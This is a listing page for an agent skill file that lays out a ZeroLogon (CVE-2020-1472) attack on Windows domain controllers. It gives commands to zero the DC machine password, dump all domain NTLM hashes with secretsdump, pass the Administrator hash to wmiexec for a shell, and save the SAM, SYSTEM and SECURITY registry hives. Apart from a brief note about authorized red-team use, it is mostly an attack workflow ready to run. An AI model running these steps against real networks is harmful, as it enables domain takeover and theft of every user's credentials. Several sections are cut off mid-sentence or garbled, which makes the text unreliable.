Zero logon exploitation
Skill ShulkwiSEC/bb-huge/skills/curated/zero-logon-exploitation
bb-huge ๐ค , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill zero-logon-exploitationAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Exploit the critical ZeroLogon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol (MS-NRPC) to instantly obtain Domain Administrator privileges on a Windows Active Directory domain by resetting the machine account password of the Primary Domain Controller (PDC) to an empty string.
The file declares its own license as Apache-2.0. That is the authorโs claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
5.9 KB, ~1.3k tokens by cl100k_base, as published. Nobody here has run it
ZeroLogon Exploitation (CVE-2020-1472)
When to Use
- EXTREME WARNING: Utilizing this exploit in a production environment will inherently break the Domain Controller's communication with the rest of the domain until its password is reconstructed properly from the registry. Only utilize this on authorized Red Team engagements against non-patched legacy systems where the risk is pre-approved.
- When you have network line-of-sight to the Domain Controller and need a direct, unauthenticated path to Domain Administrator capabilities.
- To demonstrate the catastrophic impact of failing to patch critical cryptography flaws in core identity infrastructure.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Understanding the Flaw (The Concept)
# Concept: The Netlogon protocol uses a flawed cryptographic implementation for authentication
# specifically the AES-CFB8 encryption scheme.
# The Vulnerability ```
### Phase 2: Detecting Vulnerability
```bash
# Before launching the attack, definitively verify if the DC is unpatched without breaking it.
# We utilize the standard Python tester script (widely available on GitHub from Secura).
python3 zerologon_tester.py DC-NAME 192.168.1.10
# Expected Vulnerable Output:
# Performing authentication attempts...
# Success! DC can be fully compromised by a Zerologon attack.
# Expected Patched Output:
# Attack failed. Target is probably patched.
Phase 3: Exploitation (The Zeroing)
# CONCEPT: The exploit We use the full exploit script (e.g., cve-2020-1472-exploit.py)
python3 cve-2020-1472-exploit.py DC-NAME 192.168.1.10
# Output Result: Success! DC machine password has been set to empty string.
Phase 4: Dumping the Hashes (secretsdump)
# Now that the DC's machine account password is an empty string, we can use Impacket's
# secretsdump.py to authenticate as the DC itself and extract the NTLM hashes of ALL users
# (including the Domain Admin and the KRBTGT account).
# Format: domain/DC_NAME\$@DC_IP -no-pass
secretsdump.py contoso.local/DC-NAME\[email protected] -no-pass
# Copy the Administrator NTLM Hash:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29:::
Phase 5: Pass the Hash & OPSEC Restoration (CRITICAL)
# Obtain an interactive shell wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 [email protected]
# CRITICAL RESTORATION 1. From the WMI shell, extract the original machine account hash reg save HKLM\SYSTEM system.save
# reg save HKLM\SAM sam.save
# reg save HKLM\SECURITY security.save
# lsa_dump
# 2. Use a restoration script python3 restorepassword.py contoso.local/DC-NAME@DC-NAME -target-ip 192.168.1.10 -hexpass <ORIGINAL_HEX_PASSWORD>
Decision Point ๐
flowchart TD
A[Identify unpatched Domain Controller ] --> B[Run ]
B --> C{Does }
C -->|Yes| D[Execute ]
C -->|No| E[Abort ]
D --> F[Dump ]
๐ต Blue Team Detection & Defense
- Patch Management: The absolute and only definitive defense is Network Segmentation: Isolate Monitor Event IDs: Look Key Concepts | Concept | Description | |---------|-------------|
Output Format
Zero Logon Exploitation โ Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] โ [Brief description]
[Finding 2]: [Severity] โ [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
๐ Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdโ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdโ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdโ Verified disclosed bounties by vulnerability class
References
- Secura: Zerologon Whitepaper
- CISA: CVE-2020-1472 Windows Netlogon Vulnerability
- Impacket: ZeroLogon Exploit (GitHub)